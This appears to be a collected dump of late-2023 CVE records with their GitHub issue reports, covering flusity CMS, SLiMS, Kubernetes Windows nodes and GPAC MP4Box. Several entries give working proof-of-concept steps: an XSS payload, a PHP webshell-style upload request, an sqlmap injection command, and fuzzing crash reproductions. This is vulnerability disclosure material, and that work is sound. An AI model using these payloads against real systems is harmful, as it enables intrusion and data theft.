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CVE-2023-5811

2023-10-27T01:15:32.383

A vulnerability, which was classified as problematic, was found in flusity CMS. Affected is the function loadPostAddForm of the file core/tools/posts.php. The manipulation of the argument menu_id leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The patch is identified as 6943991c62ed87c7a57989a0cb7077316127def8. It is recommended to apply a patch to fix this issue. VDB-243642 is the identifier assigned to this vulnerability.

https://github.com/flusity/flusity-CMS/issues/3

github.com

After installation, log in to the backend using the default account password tester/1234 select posts  enter payload `?menu_id=3);</script><script>alert(1024)</script>`  execution results  Use burpsuite to capture packets.  The vulnerable code location is line 274 in core/tools/posts.php ``` if (isset($_GET['menu_id'])) { $menu_id = $_GET['menu_id']; echo "<script>loadPostAddForm($menu_id);</script>"; } ```

menu_id in posts.php_ XSS (Cross Site Scripting) exists for the place parameter

https://api.github.com/repos/flusity/flusity-CMS/issues/3/comments

2023-10-24T10:40:44Z

2024-04-19T02:35:06Z

https://github.com/flusity/flusity-CMS/issues/3

CVE-2023-5812

2023-10-27T02:15:07.477

A vulnerability has been found in flusity CMS and classified as critical. Affected by this vulnerability is the function handleFileUpload of the file core/tools/upload.php. The manipulation of the argument uploaded_file leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The associated identifier of this vulnerability is VDB-243643.

https://github.com/flusity/flusity-CMS/issues/4

github.com

After installation, log in to the backend using the default account password tester/1234 select files  select upload_file  Intercept traffic packets, modify filename to a PHP file name suffix, and change the content to PHP code.  ``` POST /core/tools/upload.php HTTP/1.1 Host: xxxxx Content-Length: 164075 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://fluency Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAY81e4VlxYZXQEi User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://fluency/core/tools/files.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=k2l9ec3hfjhj2f19d5lml13qal Connection: close ------WebKitFormBoundaryiAY81e4VlxYZXQEi Content-Disposition: form-data; name="uploaded_file"; filename="a.php" Content-Type: image/png <?php echo "20231025";?> ------WebKitFormBoundaryiAY81e4VlxYZXQEi-- ``` view uploaded files  execute php code correctly  on line 15 of upload.php： ``` $allowed_file_types = ['image/png', 'image/jpeg', 'image/gif', 'application/pdf', 'application/msword', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet']; $max_file_size = 5 * 1024 * 1024; $file_id = handleFileUpload($db, $prefix['table_prefix'], $target_dir, $allowed_file_types, $max_file_size); ``` It is not enough to filter file_types, you need to filter the file name

Unrestricted Upload of File with Dangerous Type in upload.php

https://api.github.com/repos/flusity/flusity-CMS/issues/4/comments

2023-10-25T12:24:31Z

2024-04-19T02:35:55Z

https://github.com/flusity/flusity-CMS/issues/4

CVE-2023-45996

2023-10-31T06:15:07.883

SQL injection vulnerability in Senayan Library Management Systems Slims v.9 and Bulian v.9.6.1 allows a remote attacker to obtain sensitive information and execute arbitrary code via a crafted script to the reborrowLimit parameter in the member_type.php.

https://github.com/slims/slims9_bulian/issues/216

github.com

# The Bug A SQL Injection has found in `admin/modules/membership/member_type.php` at the code below ``` $data['member_type_name'] = $dbs->escape_string($memberTypeName); $data['loan_limit'] = trim($_POST['loanLimit']); $data['loan_periode'] = trim($_POST['loanPeriode']); $data['enable_reserve'] = $_POST['enableReserve']; $data['reserve_limit'] = $_POST['reserveLimit']; $data['member_periode'] = $_POST['memberPeriode']; $data['reborrow_limit'] = $_POST['reborrowLimit']; $data['fine_each_day'] = $_POST['fineEachDay']; $data['grace_periode'] = $_POST['gracePeriode']; $data['input_date'] = date('Y-m-d'); $data['last_update'] = date('Y-m-d'); ``` ### To Reproduce Steps to reproduce the behavior: 1. Login as admin or user that has access membership type 2. Make sure the burp application is turned on to capture the request as screenshot below  3. Save the request in a separate file (sample.reg) sample.reg example ``` POST /slims9_bulian-9.6.1/admin/modules/membership/member_type.php?itemID=2&detail=true&ajaxload=1& HTTP/1.1 Host: localhost Content-Length: 1420 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQUBKpazqdLdsHspa User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=membership Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: SenayanAdmin=f5581i7ero1b1mitlh328upvmt; admin_logged_in=1; SenayanMember=37qocaml59lu0snk1tt3n74qgn Connection: close ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="csrf_token" 29ad9eb49edd5718652dff82f33e7ecb4000e5f376eac9d52346c6843c5b9d16 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="form_name" mainForm ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="memberTypeName" abcdef ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="loanLimit" 0 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="loanPeriode" 0 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="enableReserve" 1 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="reserveLimit" 0 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="memberPeriode" 1 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="reborrowLimit" 4423 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="fineEachDay" 1 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="gracePeriode" 0 ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="saveData" Update ------WebKitFormBoundaryQUBKpazqdLdsHspa Content-Disposition: form-data; name="updateRecordID" 2 ------WebKitFormBoundaryQUBKpazqdLdsHspa-- ``` run the test with the following command: ``` sqlmap -r example.req --level 5 --risk 3 -p reborrowLimit --random-agent --dbms=mysql --current-user ``` 5. You've entered into the system  ## Screenshots  ## Versions - OS: Windows - Browser: Brave Browser | Version 1.57.57 Chromium: 116.0.5845.163 (Official Build) (64-bit) - Slims Version: slims9_bulian-9.6.1

Vuln0wned Report: SQL Injection in member_type.php

https://api.github.com/repos/slims/slims9_bulian/issues/216/comments

2023-10-08T16:42:47Z

2023-11-29T10:20:40Z

https://github.com/slims/slims9_bulian/issues/216

CVE-2023-3676

2023-10-31T21:15:08.550

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes.

https://github.com/kubernetes/kubernetes/issues/119339

github.com

CVSS Rating: [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) - **HIGH** (8.8) A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes. ### Am I vulnerable? Any kubernetes environment with Windows nodes is impacted. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use. #### Affected Versions - kubelet <= v1.28.0 - kubelet <= v1.27.4 - kubelet <= v1.26.7 - kubelet <= v1.25.12 - kubelet <= v1.24.16 ### How do I mitigate this vulnerability? The provided patch fully mitigates the vulnerability and has no known side effects. Full mitigation for this class of issues requires patches applied for CVE-2023-3676, CVE-2023-3955, and CVE-2023-3893. Outside of applying the provided patch, there are no known mitigations to this vulnerability. #### Fixed Versions - kubelet master - fixed by #120127 - kubelet v1.28.1 - fixed by #120129 - kubelet v1.27.5 - fixed by #120130 - kubelet v1.26.8 - fixed by #120131 - kubelet v1.25.13 - fixed by #120132 - kubelet v1.24.17 - fixed by #120133 To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/ ### Detection Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Pod create events with embedded powershell commands are a strong indication of exploitation. Config maps and secrets that contain embedded powershell commands and are mounted into pods are also a strong indication of exploitation. If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io #### Acknowledgements This vulnerability was reported by Tomer Peled @tomerpeled92 The issue was fixed and coordinated by the fix team: James Sturtevant @jsturtevant Mark Rossetti @marosset Andy Zhang @andyzhangx Justin Terry @jterry75 Kulwant Singh @KlwntSingh Micah Hausler @micahhausler Rita Zhang @ritazh and release managers: Jeremy Rickard @jeremyrickard /triage accepted /lifecycle frozen /area security /kind bug /committee security-response

CVE-2023-3676: Insufficient input sanitization on Windows nodes leads to privilege escalation

https://api.github.com/repos/kubernetes/kubernetes/issues/119339/comments

2023-07-14T18:27:48Z

2023-10-31T20:30:00Z

https://github.com/kubernetes/kubernetes/issues/119339

CVE-2023-3955

2023-10-31T21:15:08.613

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes.

https://github.com/kubernetes/kubernetes/issues/119595

github.com

CVSS Rating: [CVSS:3.1/av:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) - **HIGH** (8.8) A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes. ### Am I vulnerable? Any kubernetes environment with Windows nodes is impacted. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use. #### Affected Versions - kubelet <= v1.28.0 - kubelet <= v1.27.4 - kubelet <= v1.26.7 - kubelet <= v1.25.12 - kubelet <= v1.24.16 ### How do I mitigate this vulnerability? The provided patch fully mitigates the vulnerability (see fix impact below). Full mitigation for this class of issues requires patches applied for CVE-2023-3676, CVE-2023-3955, and CVE-2023-3893. Outside of applying the provided patch, there are no known mitigations to this vulnerability. #### Fixed Versions - kubelet master - fixed by #120128 - kubelet v1.28.1 - fixed by #120134 - kubelet v1.27.5 - fixed by #120135 - kubelet v1.26.8 - fixed by #120136 - kubelet v1.25.13 - fixed by #120137 - kubelet v1.24.17 - fixed by #120138 **Fix impact:** Passing Windows Powershell disk format options to in-tree volume plugins will result in an error during volume provisioning on the node. There are no known use cases for this functionality, nor is this functionality supported by any known out-of-tree CSI driver. To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/ ### Detection Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Pod create events with embedded powershell commands are a strong indication of exploitation. If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io #### Acknowledgements This vulnerability was discovered by James Sturtevant @jsturtevant and Mark Rossetti @marosset during the process of fixing CVE-2023-3676 (that original CVE was reported by Tomer Peled @tomerpeled92) The issue was fixed and coordinated by the fix team: James Sturtevant @jsturtevant Mark Rossetti @marosset Andy Zhang @andyzhangx Justin Terry @jterry75 Kulwant Singh @KlwntSingh Micah Hausler @micahhausler Rita Zhang @ritazh and release managers: Jeremy Rickard @jeremyrickard

CVE-2023-3955: Insufficient input sanitization on Windows nodes leads to privilege escalation

https://api.github.com/repos/kubernetes/kubernetes/issues/119595/comments

2023-07-26T15:30:50Z

2023-11-01T00:33:34Z

https://github.com/kubernetes/kubernetes/issues/119595

CVE-2023-46930

2023-11-01T14:15:38.250

GPAC 2.3-DEV-rev605-gfc9e29089-master contains a SEGV in gpac/MP4Box in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14.

https://github.com/gpac/gpac/issues/2666

github.com

# SEGV in MP4Box ### Description SEGV in gpac/MP4Box. #0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14 ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -def -saf -unhint -ocr -out /dev/null poc5gpac ```shell AddressSanitizer:DEADLYSIGNAL ================================================================= ==3351432==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000002c (pc 0x7ffff6697edd bp 0x7ffffffe65f0 sp 0x7ffffffe6420 T0) ==3351432==The signal is caused by a READ memory access. ==3351432==Hint: address points to the zero page. #0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14 #1 0x7ffff6910e8e in gf_media_export_saf /afltest/gpac/src/media_tools/media_export.c:851:16 #2 0x7ffff69121c1 in gf_media_export /afltest/gpac/src/media_tools/media_export.c:1391:49 #3 0x4fe755 in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6577:7 #4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/isomedia/media_odf.c:522:14 in gf_isom_find_od_id_for_track ==3351432==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -def -saf -unhint -ocr -out /dev/null poc5gpac ``` ### PoC poc5gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc5gpac ### **Impact** This vulnerability is capable of causing crashes. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

SEGV in gpac/MP4Box in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14

https://api.github.com/repos/gpac/gpac/issues/2666/comments

2023-10-25T06:06:04Z

2023-10-26T10:37:04Z

https://github.com/gpac/gpac/issues/2666

CVE-2023-46931

2023-11-01T14:15:38.640

GPAC 2.3-DEV-rev605-gfc9e29089-master contains a heap-buffer-overflow in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 in gpac/MP4Box.

https://github.com/gpac/gpac/issues/2664

github.com

# heap-buffer-overflow in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 in gpac/gpac ### Description Heap-buffer-overflow in MP4Box. ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -dash 1000 -diod -ts -dynamic -out /dev/null poc4gpac ```shell ================================================================= ==2427334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000008f2c at pc 0x7ffff7382cb6 bp 0x7ffffffebc30 sp 0x7ffffffebc28 READ of size 4 at 0x602000008f2c thread T0 #0 0x7ffff7382cb5 in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 #1 0x7ffff7382cb5 in ffdmx_init_common /afltest/gpac/src/filters/ff_dmx.c:1240:4 #2 0x7ffff738a0ca in ffdmx_initialize /afltest/gpac/src/filters/ff_dmx.c:1457:9 #3 0x7ffff6e7fa09 in gf_filter_new_finalize /afltest/gpac/src/filter_core/filter.c:543:8 #4 0x7ffff6e6f252 in gf_fs_load_source_dest_internal /afltest/gpac/src/filter_core/filter_session.c:3558:7 #5 0x7ffff6e94cf0 in gf_filter_swap_source_register /afltest/gpac/src/filter_core/filter.c:3824:2 #6 0x7ffff6e0c7be in gf_filter_pid_resolve_link_internal /afltest/gpac/src/filter_core/filter_pid.c:3545:11 #7 0x7ffff6e1b131 in gf_filter_pid_resolve_link_check_loaded /afltest/gpac/src/filter_core/filter_pid.c:3824:9 #8 0x7ffff6e1b131 in gf_filter_pid_init_task /afltest/gpac/src/filter_core/filter_pid.c:5111:12 #9 0x7ffff6e63b29 in gf_fs_thread_proc /afltest/gpac/src/filter_core/filter_session.c:2105:3 #10 0x7ffff6e6257d in gf_fs_run /afltest/gpac/src/filter_core/filter_session.c:2405:3 #11 0x7ffff67a6e5c in gf_dasher_process /afltest/gpac/src/media_tools/dash_segmenter.c:1236:6 #12 0x50dfc7 in do_dash /afltest/gpac/applications/mp4box/mp4box.c:4831:15 #13 0x50dfc7 in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6245:7 #14 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #15 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) 0x602000008f2c is located 4 bytes to the left of 16-byte region [0x602000008f30,0x602000008f40) allocated by thread T0 here: #0 0x4a3809 in realloc (/afltest/gpac/bin/gcc/MP4Box+0x4a3809) #1 0x7ffff3bafda6 in av_stream_add_side_data (/lib/x86_64-linux-gnu/libavformat.so.58+0x1bdda6) SUMMARY: AddressSanitizer: heap-buffer-overflow /afltest/gpac/src/filters/ff_dmx.c:202:14 in ffdmx_parse_side_data Shadow bytes around the buggy address: 0x0c047fff9190: fa fa 02 fa fa fa 00 05 fa fa 00 06 fa fa fd fa 0x0c047fff91a0: fa fa 07 fa fa fa 00 fa fa fa fd fd fa fa 00 06 0x0c047fff91b0: fa fa 00 01 fa fa 04 fa fa fa 00 fa fa fa 00 07 0x0c047fff91c0: fa fa 00 00 fa fa 07 fa fa fa 00 fa fa fa fd fd 0x0c047fff91d0: fa fa 00 06 fa fa 00 01 fa fa 04 fa fa fa 00 fa =>0x0c047fff91e0: fa fa 00 00 fa[fa]00 00 fa fa fd fd fa fa fd fa 0x0c047fff91f0: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa 0x0c047fff9200: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa 0x0c047fff9210: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa 0x0c047fff9220: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa 0x0c047fff9230: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2427334==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -dash 1000 -diod -ts -dynamic -out /dev/null poc4gpac ``` *Thanks* *for* *your* *time*! ### PoC poc4gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc4gpac ### **Impact** This vulnerability is capable of causing crashes. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

heap-buffer-overflow in ffdmx_parse_side_data /afltest/gpac/src/filters/ff_dmx.c:202:14 in gpac/MP4Box

https://api.github.com/repos/gpac/gpac/issues/2664/comments

2023-10-24T13:31:01Z

2023-10-26T10:37:05Z

https://github.com/gpac/gpac/issues/2664

CVE-2023-46927

2023-11-01T15:15:08.707

GPAC 2.3-DEV-rev605-gfc9e29089-master contains a heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/MP4Box.

https://github.com/gpac/gpac/issues/2657

github.com

# heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/gpac ### Description Heap-buffer-overflow in MP4Box. ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -add self:moovts=-1:noedit:stz2:profile=high:level=7 poc1gpac ```shell ================================================================= ==3459603==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006b71 at pc 0x0000004a2c4f bp 0x7ffffffec1a0 sp 0x7ffffffeb968 WRITE of size 4 at 0x602000006b71 thread T0 #0 0x4a2c4e in __asan_memset (/afltest/gpac/bin/gcc/MP4Box+0x4a2c4e) #1 0x7ffff665aacc in gf_isom_use_compact_size /afltest/gpac/src/isomedia/isom_write.c:3403:3 #2 0x54e099 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1707:8 #3 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c #4 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13 #5 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #6 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) 0x602000006b71 is located 0 bytes to the right of 1-byte region [0x602000006b70,0x602000006b71) allocated by thread T0 here: #0 0x4a34ed in malloc (/afltest/gpac/bin/gcc/MP4Box+0x4a34ed) #1 0x7ffff665aa7d in gf_isom_use_compact_size /afltest/gpac/src/isomedia/isom_write.c:3401:24 SUMMARY: AddressSanitizer: heap-buffer-overflow (/afltest/gpac/bin/gcc/MP4Box+0x4a2c4e) in __asan_memset Shadow bytes around the buggy address: 0x0c047fff8d10: fa fa 00 04 fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8d20: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa 00 05 0x0c047fff8d30: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 00 00 0x0c047fff8d40: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 00 0x0c047fff8d50: fa fa 00 00 fa fa fd fd fa fa fd fa fa fa fd fd =>0x0c047fff8d60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[01]fa 0x0c047fff8d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==3459603==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -add self:moovts=-1:noedit:stz2:profile=high:level=7 poc1gpac ``` ### PoC poc1gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc1gpac ### **Impact** This vulnerability is capable of causing crashes. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/gpac

https://api.github.com/repos/gpac/gpac/issues/2657/comments

2023-10-22T20:14:14Z

2023-10-23T13:23:29Z

https://github.com/gpac/gpac/issues/2657

CVE-2023-46928

2023-11-01T15:15:08.753

GPAC 2.3-DEV-rev605-gfc9e29089-master contains a SEGV in gpac/MP4Box in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42.

https://github.com/gpac/gpac/issues/2661

github.com

# SEGV in MP4Box ### Description SEGV in gpac/MP4Box. #0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42 ### Version ```shell MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB ``` ### ASAN Log ./MP4Box -add self:svcmode=splitbase:negctts:compat=15 poc3gpac ```shell AddressSanitizer:DEADLYSIGNAL ================================================================= ==3037861==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc 0x7ffff6798224 bp 0x00000000000f sp 0x7ffffffec1c0 T0) ==3037861==The signal is caused by a WRITE memory access. ==3037861==Hint: address points to the zero page. #0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42 #1 0x54edae in import_file /afltest/gpac/applications/mp4box/fileimport.c:1767:8 #2 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c #3 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13 #4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/isom_tools.c:3293:42 in gf_media_change_pl ==3037861==ABORTING ``` ### Reproduction ```shell git clone https://github.com/gpac/gpac.git cd gpac ./configure --enable-sanitizer make -j24 ./bin/gcc/MP4Box -add self:svcmode=splitbase:negctts:compat=15 poc3gpac ``` ### PoC poc3gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc3gpac ### **Impact** This vulnerability is capable of causing crashes. ### Reference https://github.com/gpac/gpac ### Environment ``` ubuntu:20.04 gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2) clang version 10.0.0-4ubuntu1 afl-cc++4.09 ``` ### Credit Zeng Yunxiang Song Jiaxuan

SEGV in gpac/MP4Box in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42

https://api.github.com/repos/gpac/gpac/issues/2661/comments

2023-10-24T08:08:44Z

2023-10-26T10:37:05Z

https://github.com/gpac/gpac/issues/2661

CVE-2023-3893

2023-11-03T18:15:08.623

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes running kubernetes-csi-proxy may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes running kubernetes-csi-proxy.

https://github.com/kubernetes/kubernetes/issues/119594

github.com

